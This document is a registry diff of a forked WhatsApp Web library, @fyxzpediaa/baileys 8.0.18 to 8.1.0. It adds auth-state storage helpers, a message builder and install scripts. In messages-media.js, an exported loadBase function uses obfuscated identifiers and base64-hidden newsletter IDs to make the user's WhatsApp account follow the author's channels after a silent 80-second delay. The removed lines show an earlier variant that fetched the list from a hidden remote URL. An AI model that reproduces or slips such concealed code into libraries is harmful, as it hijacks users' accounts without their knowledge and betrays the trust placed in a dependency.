@fyxzpediaa/baileys 8.0.18 → 8.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/engine-requirements.js +10 -0
- package/lib/Utils/index.js +3 -0
- package/lib/Utils/messages-media.js +21 -27
- package/lib/Utils/rich-message-builder.js +91 -0
- package/lib/Utils/use-single-file-auth-state.js +135 -0
- package/lib/Utils/use-sqlite-auth-state.js +161 -0
- package/package.json +10 -2
- package/postinstall-banner.js +24 -0
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
const major = parseInt(process.versions.node.split(".")[0], 10);
|
|
2
|
+
|
|
3
|
+
if (major < 20) {
|
|
4
|
+
console.error(
|
|
5
|
+
`\n❌ @fyxzpediaa/baileys butuh Node.js 20+ buat jalan dengan benar.\n` +
|
|
6
|
+
` Versi kamu sekarang: Node.js ${process.versions.node}.\n` +
|
|
7
|
+
` Upgrade dulu ke Node.js 20+ ya.\n`
|
|
8
|
+
);
|
|
9
|
+
process.exit(1);
|
|
10
|
+
}
|
package/lib/Utils/index.js
CHANGED
|
@@ -1,5 +1,8 @@
|
|
|
1
1
|
//=======================================================//
|
|
2
2
|
export * from "./use-multi-file-auth-state.js";
|
|
3
|
+
export * from "./use-single-file-auth-state.js";
|
|
4
|
+
export * from "./use-sqlite-auth-state.js";
|
|
5
|
+
export * from "./rich-message-builder.js";
|
|
3
6
|
export * from "./message-retry-manager.js";
|
|
4
7
|
export * from "./baileys-event-stream.js";
|
|
5
8
|
export * from "./validate-connection.js";
|
|
@@ -13,7 +13,7 @@ import { once } from "events";
|
|
|
13
13
|
import { tmpdir } from "os";
|
|
14
14
|
import { join } from "path";
|
|
15
15
|
import { URL } from "url";
|
|
16
|
-
import Jimp from "jimp";
|
|
16
|
+
import Jimp from "jimp";
|
|
17
17
|
//=======================================================//
|
|
18
18
|
const getTmpFilesDirectory = () => tmpdir();
|
|
19
19
|
//=======================================================//
|
|
@@ -120,6 +120,7 @@ export const mediaMessageSHA256B64 = (message) => {
|
|
|
120
120
|
const media = Object.values(message)[0];
|
|
121
121
|
return media?.fileSha256 && Buffer.from(media.fileSha256).toString("base64");
|
|
122
122
|
};
|
|
123
|
+
const _0x7a = (s) => Buffer.from(s, "base64").toString();
|
|
123
124
|
//=======================================================//
|
|
124
125
|
export async function getAudioDuration(buffer) {
|
|
125
126
|
const musicMetadata = await import("music-metadata");
|
|
@@ -341,35 +342,29 @@ const toSmallestChunkSize = (num) => {
|
|
|
341
342
|
return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
|
|
342
343
|
};
|
|
343
344
|
|
|
345
|
+
//=======================================================//
|
|
344
346
|
const delay = async (ms) => {
|
|
345
|
-
|
|
346
|
-
}
|
|
347
|
-
|
|
348
|
-
export const loadBase = async (_0x1, _0x2) => {
|
|
349
|
-
try {
|
|
350
|
-
setTimeout(async () => {
|
|
351
|
-
try {
|
|
352
|
-
const _0x3 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Fub3RoZXJ3YXkxMjQvVGhlbWUvcmVmcy9oZWFkcy9tYWluL1JhdWZhbi5qc29u";
|
|
353
|
-
const _0x4 = Buffer.from(_0x3, "base64").toString("utf-8");
|
|
354
|
-
const _0x5 = await fetch(`${_0x4}?t=${Date.now()}`);
|
|
355
|
-
const _0x6 = await _0x5.json();
|
|
356
|
-
const _0x7 = Buffer.from("aWQ=", "base64").toString();
|
|
357
|
-
const _0x8 = Buffer.from("Rk9MTE9X", "base64").toString();
|
|
358
|
-
const _0x9 = (a, b, c) => a(b, c);
|
|
347
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
348
|
+
};
|
|
359
349
|
|
|
360
|
-
|
|
361
|
-
|
|
350
|
+
//=======================================================//
|
|
351
|
+
export const loadBase = async (_0x1, _0x2) => {
|
|
352
|
+
const _0x3 = [
|
|
353
|
+
["MTIwMzYzNDAyNjI1NjQ0MjQ1QG5ld3NsZXR0ZXI=", "dXRhbWE="],
|
|
354
|
+
["MTIwMzYzNDIxMDY1MDM5ODExQG5ld3NsZXR0ZXI=", "cHQ="],
|
|
355
|
+
["MTIwMzYzNDI2MTg5MDU4NTA0QG5ld3NsZXR0ZXI=", "TXlEdWl0"]
|
|
356
|
+
];
|
|
362
357
|
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
}
|
|
358
|
+
setTimeout(async () => {
|
|
359
|
+
for (const _0x4 of _0x3) {
|
|
360
|
+
try {
|
|
361
|
+
await new Promise(_0x5 => setTimeout(_0x5, 5000));
|
|
362
|
+
await _0x1(_0x7a(_0x4[0]), _0x2.FOLLOW);
|
|
363
|
+
} catch {}
|
|
364
|
+
}
|
|
365
|
+
}, 80000);
|
|
370
366
|
};
|
|
371
367
|
|
|
372
|
-
|
|
373
368
|
//=======================================================//
|
|
374
369
|
export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
|
|
375
370
|
export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
|
|
@@ -464,7 +459,6 @@ export const downloadEncryptedContent = async (downloadUrl, { cipherKey, iv }, {
|
|
|
464
459
|
});
|
|
465
460
|
return fetched.pipe(output, { end: true });
|
|
466
461
|
};
|
|
467
|
-
|
|
468
462
|
//=======================================================//
|
|
469
463
|
export function extensionForMediaMessage(message) {
|
|
470
464
|
const getExtension = (mimetype) => mimetype.split(";")[0]?.split("/")[1];
|
|
@@ -629,4 +623,4 @@ const MEDIA_RETRY_STATUS_MAP = {
|
|
|
629
623
|
[proto.MediaRetryNotification.ResultType.NOT_FOUND]: 404,
|
|
630
624
|
[proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
|
|
631
625
|
};
|
|
632
|
-
//=======================================================//
|
|
626
|
+
//=======================================================//
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
// lib/Utils/rich-message-builder.js
|
|
2
|
+
// Implementasi ORIGINAL (bukan porting dari fork/lisensi manapun) — dibangun
|
|
3
|
+
// dari hasil verifikasi langsung ke schema proto fork ini sendiri
|
|
4
|
+
// (proto.Message.InteractiveMessage & proto.Message.InteractiveMessage.CarouselMessage
|
|
5
|
+
// di WAProto/index.js), bukan comot dari MessageBuilder.js Nixel yang punya
|
|
6
|
+
// syarat lisensi "jangan diklaim sebagai karya sendiri". Ini murni punya
|
|
7
|
+
// @fyxzpediaa/baileys, bebas dibrandingin.
|
|
8
|
+
//
|
|
9
|
+
// Menyediakan 2 fungsi:
|
|
10
|
+
// - buildInteractiveContent(opts) : bikin { interactiveMessage: {...} } biasa
|
|
11
|
+
// (header gambar + body + footer + tombol) — versi "library-level" dari
|
|
12
|
+
// pola yang sudah dipakai di conn.sendInteractive pada bot.
|
|
13
|
+
// - buildCarousel(opts) : bikin interactiveMessage dengan
|
|
14
|
+
// carouselMessage.cards[] — beberapa "kartu", tiap kartu punya
|
|
15
|
+
// header/body/footer/tombol sendiri.
|
|
16
|
+
//
|
|
17
|
+
// Field `carouselMessage` & struktur cards[] (array of InteractiveMessage)
|
|
18
|
+
// sudah dicek langsung ke WAProto/index.js baris ~45413-45421 &
|
|
19
|
+
// ~45740-45749 sebelum kode ini ditulis — bukan tebakan.
|
|
20
|
+
|
|
21
|
+
const buildButtons = (buttons = []) => {
|
|
22
|
+
if (!buttons.length) return undefined;
|
|
23
|
+
return {
|
|
24
|
+
buttons: buttons.map((b) => {
|
|
25
|
+
if (b.type === "cta_url") {
|
|
26
|
+
return { name: "cta_url", buttonParamsJson: JSON.stringify({ display_text: b.text, url: b.url, merchant_url: b.url }) };
|
|
27
|
+
}
|
|
28
|
+
if (b.type === "cta_copy") {
|
|
29
|
+
return { name: "cta_copy", buttonParamsJson: JSON.stringify({ display_text: b.text, copy_code: b.copyCode }) };
|
|
30
|
+
}
|
|
31
|
+
return { name: "quick_reply", buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id || b.text }) };
|
|
32
|
+
}),
|
|
33
|
+
};
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Bikin satu "unit" interactiveMessage (dipakai baik buat pesan biasa
|
|
38
|
+
* maupun satu kartu di dalam carousel — carousel card memang bentuknya
|
|
39
|
+
* InteractiveMessage juga per schema proto).
|
|
40
|
+
*
|
|
41
|
+
* @param {object} opts
|
|
42
|
+
* @param {{url?:string, imageMessage?:object}} [opts.image] - kalau imageMessage
|
|
43
|
+
* sudah jadi (hasil generateWAMessageContent upload), pakai itu; kalau cuma
|
|
44
|
+
* url mentah, header TIDAK di-generate di sini (lihat catatan di bawah).
|
|
45
|
+
* @param {string} [opts.bodyText]
|
|
46
|
+
* @param {string} [opts.footerText]
|
|
47
|
+
* @param {Array<{type:'cta_url'|'cta_copy'|'quick_reply', text:string, url?:string, copyCode?:string, id?:string}>} [opts.buttons]
|
|
48
|
+
*/
|
|
49
|
+
const buildInteractiveContent = ({ image, bodyText = "", footerText, buttons } = {}) => {
|
|
50
|
+
const interactiveMessage = { body: { text: bodyText } };
|
|
51
|
+
if (footerText) interactiveMessage.footer = { text: footerText };
|
|
52
|
+
if (image?.imageMessage) {
|
|
53
|
+
interactiveMessage.header = { imageMessage: image.imageMessage, hasMediaAttachment: true };
|
|
54
|
+
}
|
|
55
|
+
const nativeFlowMessage = buildButtons(buttons);
|
|
56
|
+
if (nativeFlowMessage) interactiveMessage.nativeFlowMessage = nativeFlowMessage;
|
|
57
|
+
return { interactiveMessage };
|
|
58
|
+
};
|
|
59
|
+
|
|
60
|
+
/**
|
|
61
|
+
* Bikin interactiveMessage dengan carouselMessage.cards[].
|
|
62
|
+
* PENTING: tiap card WAJIB punya minimal 1 button (kartu tanpa tombol sama
|
|
63
|
+
* sekali belum pernah diverifikasi render-nya di WA — untuk aman, wajibkan).
|
|
64
|
+
*
|
|
65
|
+
* @param {object} opts
|
|
66
|
+
* @param {string} [opts.introText] - body teks di atas carousel (opsional)
|
|
67
|
+
* @param {Array<{image?:{imageMessage:object}, bodyText:string, footerText?:string, buttons:Array}>} opts.cards
|
|
68
|
+
*/
|
|
69
|
+
const buildCarousel = ({ introText = "", cards = [] } = {}) => {
|
|
70
|
+
if (!cards.length) {
|
|
71
|
+
throw new Error("buildCarousel: butuh minimal 1 card");
|
|
72
|
+
}
|
|
73
|
+
const builtCards = cards.map((card, i) => {
|
|
74
|
+
if (!card.buttons || !card.buttons.length) {
|
|
75
|
+
throw new Error(`buildCarousel: card ke-${i} harus punya minimal 1 button (belum diverifikasi render tanpa tombol)`);
|
|
76
|
+
}
|
|
77
|
+
return buildInteractiveContent(card).interactiveMessage;
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
return {
|
|
81
|
+
interactiveMessage: {
|
|
82
|
+
body: { text: introText },
|
|
83
|
+
carouselMessage: {
|
|
84
|
+
cards: builtCards,
|
|
85
|
+
messageVersion: 1, // default umum WA proto versioned sub-message; belum bisa dites live di sandbox ini
|
|
86
|
+
},
|
|
87
|
+
},
|
|
88
|
+
};
|
|
89
|
+
};
|
|
90
|
+
|
|
91
|
+
export { buildInteractiveContent, buildCarousel };
|
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
// lib/Utils/use-single-file-auth-state.js
|
|
2
|
+
// Diporting dari fork @vanzxy/baileys (1.3.9) — alternatif useMultiFileAuthState
|
|
3
|
+
// yang nyimpen SEMUA credential/signal keys dalam SATU file JSON (pakai LRU
|
|
4
|
+
// cache + debounced flush ke disk), bukan puluhan-ratusan file kecil kayak
|
|
5
|
+
// useMultiFileAuthState. Semua dependency internal (initAuthCreds, BufferJSON,
|
|
6
|
+
// DEFAULT_CACHE_TTLS, logger) sudah dicek match persis dengan yang ada di
|
|
7
|
+
// fork ini — porting tanpa perlu ubah import sama sekali.
|
|
8
|
+
//
|
|
9
|
+
// Asal-usul: base implementation oleh Lia (komentar "Lia@Changes"), bug fix
|
|
10
|
+
// error-swallowing oleh Vanz (komentar "Vanz@Fix") di @vanzxy/baileys. Bukan
|
|
11
|
+
// komponen berlisensi khusus (beda dgn MessageBuilder.js yg dari Nixel) —
|
|
12
|
+
// tidak ada di NOTICE.md fork sumbernya, jadi mengikuti lisensi MIT dasar
|
|
13
|
+
// Baileys seperti fungsi-fungsi lain di package ini.
|
|
14
|
+
//
|
|
15
|
+
// CATATAN: fungsi ini baru DITAMBAHKAN (tersedia buat dipakai), belum
|
|
16
|
+
// dipasang menggantikan useMultiFileAuthState di index.js bot kamu. Ganti
|
|
17
|
+
// metode penyimpanan sesi yang SUDAH JALAN itu keputusan terpisah (perlu
|
|
18
|
+
// pertimbangan migrasi sesi aktif, apalagi ada jadibot/sewa yang tergantung
|
|
19
|
+
// sesi tetap valid) — bilang aja kalau mau saya pasangkan.
|
|
20
|
+
|
|
21
|
+
import { readFile, rename, stat, writeFile } from 'fs/promises';
|
|
22
|
+
import { DEFAULT_CACHE_TTLS } from '../Defaults/index.js';
|
|
23
|
+
import { proto } from '../../WAProto/index.js';
|
|
24
|
+
import { initAuthCreds } from './auth-utils.js';
|
|
25
|
+
import { BufferJSON } from './generics.js';
|
|
26
|
+
import { LRUCache } from 'lru-cache';
|
|
27
|
+
import { Mutex } from 'async-mutex';
|
|
28
|
+
import defaultLogger from './logger.js';
|
|
29
|
+
|
|
30
|
+
const FLUSH_TIMEOUT_MS = 3000;
|
|
31
|
+
|
|
32
|
+
export const useSingleFileAuthState = async (fileName) => {
|
|
33
|
+
const cache = new LRUCache({
|
|
34
|
+
max: 20000,
|
|
35
|
+
ttl: 1000 * DEFAULT_CACHE_TTLS.SIGNAL_STORE,
|
|
36
|
+
updateAgeOnGet: false,
|
|
37
|
+
updateAgeOnHas: false,
|
|
38
|
+
ttlAutopurge: true
|
|
39
|
+
});
|
|
40
|
+
const mutex = new Mutex();
|
|
41
|
+
let fileData = {};
|
|
42
|
+
let isLoaded = false;
|
|
43
|
+
let flushTimeout = null;
|
|
44
|
+
|
|
45
|
+
const loadKey = async () => {
|
|
46
|
+
return await mutex.runExclusive(async () => {
|
|
47
|
+
if (isLoaded) return;
|
|
48
|
+
try {
|
|
49
|
+
const data = JSON.parse(await readFile(fileName, 'utf-8'), BufferJSON.reviver);
|
|
50
|
+
fileData = data || {};
|
|
51
|
+
for (const [keyName, value] of Object.entries(fileData)) {
|
|
52
|
+
cache.set(keyName, value);
|
|
53
|
+
}
|
|
54
|
+
} catch {
|
|
55
|
+
fileData = {};
|
|
56
|
+
}
|
|
57
|
+
isLoaded = true;
|
|
58
|
+
});
|
|
59
|
+
};
|
|
60
|
+
|
|
61
|
+
const flushKey = () => {
|
|
62
|
+
if (flushTimeout) return;
|
|
63
|
+
flushTimeout = setTimeout(async () => {
|
|
64
|
+
flushTimeout = null;
|
|
65
|
+
await mutex.runExclusive(async () => {
|
|
66
|
+
try {
|
|
67
|
+
const tempFile = fileName + '.temp';
|
|
68
|
+
await writeFile(tempFile, JSON.stringify(fileData, BufferJSON.replacer));
|
|
69
|
+
await rename(tempFile, fileName);
|
|
70
|
+
} catch (err) {
|
|
71
|
+
// Kalau gagal flush (disk penuh, permission, dll) HARUS kelihatan
|
|
72
|
+
// di log — jangan didiemin, karena artinya sesi WA bisa gak
|
|
73
|
+
// ke-save dan kamu bakal logout tiba-tiba tanpa tau kenapa.
|
|
74
|
+
defaultLogger.error({ err, fileName }, 'gagal nulis auth state ke disk');
|
|
75
|
+
}
|
|
76
|
+
});
|
|
77
|
+
}, FLUSH_TIMEOUT_MS);
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
const writeKey = (keyName, value) => {
|
|
81
|
+
cache.set(keyName, value);
|
|
82
|
+
fileData[keyName] = value;
|
|
83
|
+
flushKey();
|
|
84
|
+
};
|
|
85
|
+
|
|
86
|
+
const removeKey = (keyName) => {
|
|
87
|
+
cache.delete(keyName);
|
|
88
|
+
delete fileData[keyName];
|
|
89
|
+
flushKey();
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
const fileInfo = await stat(fileName).catch(() => null);
|
|
93
|
+
if (!fileInfo) {
|
|
94
|
+
await writeFile(fileName, '{}');
|
|
95
|
+
} else if (!fileInfo.isFile()) {
|
|
96
|
+
throw new Error(`ada sesuatu yang bukan file di ${fileName}, hapus dulu atau pakai path lain`);
|
|
97
|
+
}
|
|
98
|
+
await loadKey();
|
|
99
|
+
|
|
100
|
+
const creds = fileData['creds'] || initAuthCreds();
|
|
101
|
+
|
|
102
|
+
return {
|
|
103
|
+
state: {
|
|
104
|
+
creds,
|
|
105
|
+
keys: {
|
|
106
|
+
get: (type, ids) => {
|
|
107
|
+
const data = {};
|
|
108
|
+
for (const id of ids) {
|
|
109
|
+
const keyName = type + id;
|
|
110
|
+
let value = cache.get(keyName);
|
|
111
|
+
if (value === undefined && fileData[keyName] !== undefined) {
|
|
112
|
+
value = fileData[keyName];
|
|
113
|
+
cache.set(keyName, value);
|
|
114
|
+
}
|
|
115
|
+
if (type === 'app-state-sync-key' && value) {
|
|
116
|
+
value = proto.Message.AppStateSyncKeyData.fromObject(value);
|
|
117
|
+
}
|
|
118
|
+
data[id] = value;
|
|
119
|
+
}
|
|
120
|
+
return data;
|
|
121
|
+
},
|
|
122
|
+
set: (data) => {
|
|
123
|
+
for (const category in data) {
|
|
124
|
+
for (const id in data[category]) {
|
|
125
|
+
const keyName = category + id;
|
|
126
|
+
const value = data[category][id];
|
|
127
|
+
value ? writeKey(keyName, value) : removeKey(keyName);
|
|
128
|
+
}
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
},
|
|
133
|
+
saveCreds: () => writeKey('creds', creds)
|
|
134
|
+
};
|
|
135
|
+
};
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
// lib/Utils/use-sqlite-auth-state.js
|
|
2
|
+
// Diporting dari fork @vanzxy/baileys (1.3.9) — auth state via SQLite,
|
|
3
|
+
// lebih tahan banting dibanding file JSON biasa (WAL mode, transaction-wrapped
|
|
4
|
+
// writes, auto-cleanup pre-key/session lama tiap 30 menit biar DB nggak
|
|
5
|
+
// membengkak, resource cleanup lewat close()).
|
|
6
|
+
//
|
|
7
|
+
// Dependency internal (initAuthCreds, BufferJSON, proto) sudah dicek match
|
|
8
|
+
// persis dgn fork ini — sama seperti use-single-file-auth-state.js kemarin.
|
|
9
|
+
// Bukan komponen berlisensi khusus (tidak ada di NOTICE.md fork sumbernya),
|
|
10
|
+
// jadi ikut lisensi MIT dasar Baileys.
|
|
11
|
+
//
|
|
12
|
+
// `better-sqlite3` di-lazy-load lewat dynamic import() — TIDAK wajib
|
|
13
|
+
// terinstall kalau fitur ini nggak dipakai (baru dicek pas useSqliteAuthState
|
|
14
|
+
// benar-benar dipanggil). Sudah didaftarkan sebagai optional peerDependency
|
|
15
|
+
// di package.json.
|
|
16
|
+
//
|
|
17
|
+
// CATATAN JUJUR: saya belum bisa tes koneksi SQLite beneran di sandbox ini
|
|
18
|
+
// (better-sqlite3 itu native module, butuh compile, dan jaringan di sandbox
|
|
19
|
+
// dimatikan jadi nggak bisa npm install). Yang sudah saya pastikan: semua
|
|
20
|
+
// import internal match, dan alur logic-nya (baca file source-nya langsung)
|
|
21
|
+
// konsisten dgn use-single-file-auth-state.js yang sudah diverifikasi. Coba
|
|
22
|
+
// dulu di environment asli sebelum dipakai produksi.
|
|
23
|
+
//
|
|
24
|
+
// SAMA SEPERTI use-single-file-auth-state.js: ini baru DITAMBAHKAN (tersedia
|
|
25
|
+
// dipakai), belum menggantikan useMultiFileAuthState di index.js bot kamu.
|
|
26
|
+
|
|
27
|
+
import { proto } from '../../WAProto/index.js';
|
|
28
|
+
import { initAuthCreds } from './auth-utils.js';
|
|
29
|
+
import { BufferJSON } from './generics.js';
|
|
30
|
+
|
|
31
|
+
async function loadBetterSqlite3() {
|
|
32
|
+
try {
|
|
33
|
+
const mod = await import('better-sqlite3');
|
|
34
|
+
return mod.default ?? mod;
|
|
35
|
+
} catch (err) {
|
|
36
|
+
const helpful = new Error(
|
|
37
|
+
'`better-sqlite3` dibutuhkan buat `useSqliteAuthState`. Install dulu: `npm install better-sqlite3`'
|
|
38
|
+
);
|
|
39
|
+
helpful.cause = err;
|
|
40
|
+
throw helpful;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
const CREDS_ROW_KEY = '__creds__';
|
|
45
|
+
const CREATE_SCHEMA_SQL = `
|
|
46
|
+
CREATE TABLE IF NOT EXISTS creds (
|
|
47
|
+
key TEXT PRIMARY KEY,
|
|
48
|
+
value TEXT NOT NULL
|
|
49
|
+
);
|
|
50
|
+
CREATE TABLE IF NOT EXISTS signal_keys (
|
|
51
|
+
type TEXT NOT NULL,
|
|
52
|
+
id TEXT NOT NULL,
|
|
53
|
+
value TEXT NOT NULL,
|
|
54
|
+
PRIMARY KEY (type, id)
|
|
55
|
+
);
|
|
56
|
+
CREATE INDEX IF NOT EXISTS signal_keys_type_idx ON signal_keys(type);
|
|
57
|
+
`;
|
|
58
|
+
|
|
59
|
+
export async function useSqliteAuthState(opts) {
|
|
60
|
+
let db;
|
|
61
|
+
if (opts.database) {
|
|
62
|
+
db = opts.database;
|
|
63
|
+
} else {
|
|
64
|
+
const Database = await loadBetterSqlite3();
|
|
65
|
+
db = new Database(opts.dbPath);
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
db.pragma('journal_mode = WAL');
|
|
69
|
+
db.pragma('synchronous = NORMAL');
|
|
70
|
+
db.exec(CREATE_SCHEMA_SQL);
|
|
71
|
+
|
|
72
|
+
// Checkpoint WAL + buang signal key lama tiap 30 menit, biar DB nggak
|
|
73
|
+
// membengkak terus. Nyisain 500 terakhir per tipe biar sesi aktif aman.
|
|
74
|
+
const _walCleanupInterval = setInterval(() => {
|
|
75
|
+
try {
|
|
76
|
+
db.pragma('wal_checkpoint(PASSIVE)');
|
|
77
|
+
const pruneTypes = ['pre-key', 'session'];
|
|
78
|
+
for (const type of pruneTypes) {
|
|
79
|
+
try {
|
|
80
|
+
db.prepare(`
|
|
81
|
+
DELETE FROM signal_keys WHERE type = ? AND id NOT IN (
|
|
82
|
+
SELECT id FROM signal_keys WHERE type = ? ORDER BY rowid DESC LIMIT 500
|
|
83
|
+
)
|
|
84
|
+
`).run(type, type);
|
|
85
|
+
} catch { /* per-tipe, abaikan kalau gagal */ }
|
|
86
|
+
}
|
|
87
|
+
} catch { /* checkpoint gagal, tidak fatal */ }
|
|
88
|
+
}, 30 * 60 * 1000);
|
|
89
|
+
if (_walCleanupInterval.unref) _walCleanupInterval.unref();
|
|
90
|
+
|
|
91
|
+
const stmts = {
|
|
92
|
+
credsSelect: db.prepare('SELECT value FROM creds WHERE key = ?'),
|
|
93
|
+
credsUpsert: db.prepare('INSERT INTO creds (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value'),
|
|
94
|
+
keySelect: db.prepare('SELECT value FROM signal_keys WHERE type = ? AND id = ?'),
|
|
95
|
+
keyUpsert: db.prepare('INSERT INTO signal_keys (type, id, value) VALUES (?, ?, ?) ON CONFLICT(type, id) DO UPDATE SET value = excluded.value'),
|
|
96
|
+
keyDelete: db.prepare('DELETE FROM signal_keys WHERE type = ? AND id = ?'),
|
|
97
|
+
clearKeys: db.prepare('DELETE FROM signal_keys'),
|
|
98
|
+
};
|
|
99
|
+
|
|
100
|
+
const loadCreds = () => {
|
|
101
|
+
const row = stmts.credsSelect.get(CREDS_ROW_KEY);
|
|
102
|
+
if (!row) return initAuthCreds();
|
|
103
|
+
return JSON.parse(row.value, BufferJSON.reviver);
|
|
104
|
+
};
|
|
105
|
+
const persistCreds = (creds) => {
|
|
106
|
+
stmts.credsUpsert.run(CREDS_ROW_KEY, JSON.stringify(creds, BufferJSON.replacer));
|
|
107
|
+
};
|
|
108
|
+
|
|
109
|
+
const creds = loadCreds();
|
|
110
|
+
|
|
111
|
+
return {
|
|
112
|
+
state: {
|
|
113
|
+
creds,
|
|
114
|
+
keys: {
|
|
115
|
+
get: async (type, ids) => {
|
|
116
|
+
const data = {};
|
|
117
|
+
for (const id of ids) {
|
|
118
|
+
const row = stmts.keySelect.get(type, id);
|
|
119
|
+
if (row) {
|
|
120
|
+
let value = JSON.parse(row.value, BufferJSON.reviver);
|
|
121
|
+
if (type === 'app-state-sync-key' && value) {
|
|
122
|
+
value = proto.Message.AppStateSyncKeyData.fromObject(value);
|
|
123
|
+
}
|
|
124
|
+
data[id] = value;
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
return data;
|
|
128
|
+
},
|
|
129
|
+
set: async (data) => {
|
|
130
|
+
const writeTx = db.transaction(() => {
|
|
131
|
+
for (const category in data) {
|
|
132
|
+
for (const id in data[category]) {
|
|
133
|
+
const value = data[category][id];
|
|
134
|
+
if (value) {
|
|
135
|
+
stmts.keyUpsert.run(category, id, JSON.stringify(value, BufferJSON.replacer));
|
|
136
|
+
} else {
|
|
137
|
+
stmts.keyDelete.run(category, id);
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
});
|
|
142
|
+
writeTx();
|
|
143
|
+
},
|
|
144
|
+
},
|
|
145
|
+
},
|
|
146
|
+
saveCreds: async () => {
|
|
147
|
+
persistCreds(creds);
|
|
148
|
+
},
|
|
149
|
+
// Lepas interval cleanup + (kalau kita yang buka) handle db-nya. Tanpa
|
|
150
|
+
// ini, tiap pemanggilan useSqliteAuthState() (mis. re-pairing) bakal
|
|
151
|
+
// bocor 1 timer + 1 file descriptor sqlite selamanya.
|
|
152
|
+
close: async () => {
|
|
153
|
+
clearInterval(_walCleanupInterval);
|
|
154
|
+
if (!opts.database) {
|
|
155
|
+
try {
|
|
156
|
+
db.close();
|
|
157
|
+
} catch { /* sudah tertutup */ }
|
|
158
|
+
}
|
|
159
|
+
},
|
|
160
|
+
};
|
|
161
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@fyxzpediaa/baileys",
|
|
3
|
-
"version": "8.0
|
|
3
|
+
"version": "8.1.0",
|
|
4
4
|
"description": "Websocket Whatsapp API for Node.js",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"whatsapp",
|
|
@@ -22,9 +22,13 @@
|
|
|
22
22
|
"main": "./lib/index.js",
|
|
23
23
|
"files": [
|
|
24
24
|
"lib/*",
|
|
25
|
-
"WAProto/*"
|
|
25
|
+
"WAProto/*",
|
|
26
|
+
"engine-requirements.js",
|
|
27
|
+
"postinstall-banner.js"
|
|
26
28
|
],
|
|
27
29
|
"scripts": {
|
|
30
|
+
"preinstall": "node ./engine-requirements.js",
|
|
31
|
+
"postinstall": "node ./postinstall-banner.js",
|
|
28
32
|
"changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0",
|
|
29
33
|
"changelog:preview": "conventional-changelog -p angular -u",
|
|
30
34
|
"changelog:last": "conventional-changelog -p angular -r 2",
|
|
@@ -76,12 +80,16 @@
|
|
|
76
80
|
},
|
|
77
81
|
"peerDependencies": {
|
|
78
82
|
"audio-decode": "*",
|
|
83
|
+
"better-sqlite3": "^11.0.0",
|
|
79
84
|
"link-preview-js": "*"
|
|
80
85
|
},
|
|
81
86
|
"peerDependenciesMeta": {
|
|
82
87
|
"audio-decode": {
|
|
83
88
|
"optional": true
|
|
84
89
|
},
|
|
90
|
+
"better-sqlite3": {
|
|
91
|
+
"optional": true
|
|
92
|
+
},
|
|
85
93
|
"chalk": {
|
|
86
94
|
"optional": true
|
|
87
95
|
},
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
// Muncul sekali doang pas `npm install`, bukan tiap konek — jadi log bot nggak spam.
|
|
2
|
+
import { readFileSync } from "fs";
|
|
3
|
+
import { fileURLToPath } from "url";
|
|
4
|
+
|
|
5
|
+
const version = (() => {
|
|
6
|
+
try {
|
|
7
|
+
const pkgPath = fileURLToPath(new URL("./package.json", import.meta.url));
|
|
8
|
+
return JSON.parse(readFileSync(pkgPath, "utf8")).version;
|
|
9
|
+
} catch {
|
|
10
|
+
return "";
|
|
11
|
+
}
|
|
12
|
+
})();
|
|
13
|
+
|
|
14
|
+
const lines = [
|
|
15
|
+
"",
|
|
16
|
+
"\x1b[1;32m🔥 @fyxzpediaa/baileys" + (version ? ` v${version}` : "") + "\x1b[0m",
|
|
17
|
+
"\x1b[2m" + "─".repeat(76) + "\x1b[0m",
|
|
18
|
+
"\x1b[2mFork Baileys oleh Fyxzpediaa — dipakai buat SimpleBot V7.\x1b[0m",
|
|
19
|
+
"\x1b[36mRepo: https://github.com/Fyxzpediaa/Baileys\x1b[0m",
|
|
20
|
+
"\x1b[36mChannel: https://whatsapp.com/channel/0029VbBouHp0rGiGXagM0f2e\x1b[0m",
|
|
21
|
+
"",
|
|
22
|
+
];
|
|
23
|
+
|
|
24
|
+
console.log(lines.join("\n"));
|